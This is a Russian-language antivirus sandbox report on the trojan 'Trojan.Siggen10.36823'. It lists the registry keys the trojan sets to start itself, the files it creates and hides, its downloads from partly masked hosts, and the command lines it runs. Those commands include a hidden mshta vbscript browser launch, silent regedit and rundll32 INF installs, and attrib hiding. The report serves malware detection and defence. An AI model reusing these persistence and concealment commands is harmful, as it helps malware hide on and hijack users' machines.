Trojan.Siggen10.36823

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'Microsoft Corporation' = 'D:\Microsoft\MicrosoftSystem.exe'
[<HKLM>\Software\Classes\CLSID\{E68BD5B0-E6AA-21d0-9EDA-00A02488FCDF}\Shell\Open\Command] '' = 'D:\Microsoft\advinst.exe ->'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

изменяет следующие системные настройки:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoInternetIcon' = '{01}'

Запускает на исполнение

'%ProgramFiles(x86)%\internet explorer\iexplore.exe' http://cn##.dgnjf.com/info.access/?st##########

Изменения в файловой системе

Создает следующие файлы

%TEMP%\~ad7d.bat
nul
%HOMEPATH%\favorites\Г°ВЎВµГ§ГіВ°.txt
%HOMEPATH%\favorites\ГГё-Г¶В·-Г¶В®-ВјГІ.txt
D:\microsoft\microsoft.vc90.crt\msvcr90.dll
D:\microsoft\microsoft.vc90.crt\microsoft.vc90.crt.manifest
D:\microsoft\microsoftsystem.exe
D:\microsoft\advinst.exe
C:\documents and settings\all users\Г—Г ГЈГ¦\set1229.tmp
D:\document\start.vbs
D:\document\myaddreg.inf
D:\document\main.vbs
D:\document\internat explorer.lnk
D:\document\delie.inf
D:\document\copy.inf
%LOCALAPPDATA%\setup.msi
%LOCALAPPDATA%\in.exe
D:\document\myaddreg.reg
C:\documents and settings\all users\ВЎВёВїВЄГЄВјВЎВ№ВІГ«ВµВҐ\set1239.tmp

Присваивает атрибут 'скрытый' для следующих файлов

%TEMP%\~ad7d.bat

Удаляет следующие файлы

%LOCALAPPDATA%\setup.msi

Перемещает следующие файлы

%HOMEPATH%\favorites\ГГё-Г¶В·-Г¶В®-ВјГІ.txt в %HOMEPATH%\favorites\ГГё-Г¶В·-Г¶В®-ВјГІ.url
%HOMEPATH%\favorites\Г°ВЎВµГ§ГіВ°.txt в %HOMEPATH%\favorites\Г°ВЎВµГ§ГіВ°.url
C:\documents and settings\all users\Г—Г ГЈГ¦\set1229.tmp в C:\documents and settings\all users\Г—Г ГЈГ¦\internat explorer.lnk
C:\documents and settings\all users\ВЎВёВїВЄГЄВјВЎВ№ВІГ«ВµВҐ\set1239.tmp в C:\documents and settings\all users\ВЎВёВїВЄГЄВјВЎВ№ВІГ«ВµВҐ\internat explorer.lnk

Сетевая активность

TCP

Запросы HTTP GET

http://in####l.5cnd.com/install/hi.exe
http://in####l.5cnd.com/install/rar.exe

UDP

DNS ASK in####l.5cnd.com
DNS ASK cn##.dgnjf.com

Другое

Ищет следующие окна

ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebCheckMonitor' WindowName: ''
ClassName: 'RegEdit_RegEdit' WindowName: ''
ClassName: 'Static' WindowName: ''

Создает и запускает на исполнение

'D:\microsoft\advinst.exe' %LOCALAPPDATA%\setup.msi
'%WINDIR%\syswow64\wscript.exe' "D:\Document\start.vbs" "%LOCALAPPDATA%\setup.msi"
'%LOCALAPPDATA%\in.exe' "http://in####l.5cnd.com/install/hi.exe"
'<SYSTEM32>\wscript.exe' D:\Document\Main.vbs
'%LOCALAPPDATA%\in.exe' "http://in####l.5cnd.com/install/rar.exe"
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\~AD7D.bat "<Полный путь к файлу>"' (со скрытым окном)
'%WINDIR%\regedit.exe' /s D:\Document\myaddreg.reg' (со скрытым окном)
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\myaddreg.inf,DefaultInstall' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c ren "%HOMEPATH%\Favorites\ГЌГё-Г–В·-Г–В®-ВјГ’.txt" ГЌГё-Г–В·-Г–В®-ВјГ’.url' (со скрытым окном)
'<SYSTEM32>\regedt32.exe' /s D:\Document\myaddreg.reg' (со скрытым окном)
'<SYSTEM32>\attrib.exe' +s +h +r +a "D:\Document"' (со скрытым окном)
'<SYSTEM32>\attrib.exe' +s +h +r +a "D:\Microsoft"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c ren "%HOMEPATH%\Favorites\ГђВЎВµГ§Г“В°.txt" ГђВЎВµГ§Г“В°.url' (со скрытым окном)
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\copy.inf,DefaultInstall' (со скрытым окном)
'<SYSTEM32>\wscript.exe' D:\Document\Main.vbs' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c D:\Document\Start.vbs "%LOCALAPPDATA%\setup.msi"' (со скрытым окном)
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' http://cn##.dgnjf.com/info.access/?st##########' (со скрытым окном)
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\delie.inf,DefaultInstall' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\~AD7D.bat "<Полный путь к файлу>"
'%WINDIR%\syswow64\msiexec.exe' /i "%LOCALAPPDATA%\setup.msi"
'%WINDIR%\syswow64\cmd.exe' /c D:\Document\Start.vbs "%LOCALAPPDATA%\setup.msi"
'<SYSTEM32>\attrib.exe' +s +h +r +a "D:\Microsoft"
'<SYSTEM32>\attrib.exe' +s +h +r +a "D:\Document"
'<SYSTEM32>\cmd.exe' /c ren "%HOMEPATH%\Favorites\ГЌГё-Г–В·-Г–В®-ВјГ’.txt" ГЌГё-Г–В·-Г–В®-ВјГ’.url
'%WINDIR%\syswow64\mshta.exe' vbscript:createobject("wscript.shell").run("""iexplore""http://cn##.dgnjf.com/info.access/?st##########",0)(window.close)
'<SYSTEM32>\cmd.exe' /c ren "%HOMEPATH%\Favorites\ГђВЎВµГ§Г“В°.txt" ГђВЎВµГ§Г“В°.url
'<SYSTEM32>\regedt32.exe' /s D:\Document\myaddreg.reg
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\myaddreg.inf,DefaultInstall
'%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 180
'%WINDIR%\regedit.exe' /s D:\Document\myaddreg.reg
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\copy.inf,DefaultInstall
'<SYSTEM32>\rundll32.exe' advpack.dll,LaunchINFSection D:\Document\delie.inf,DefaultInstall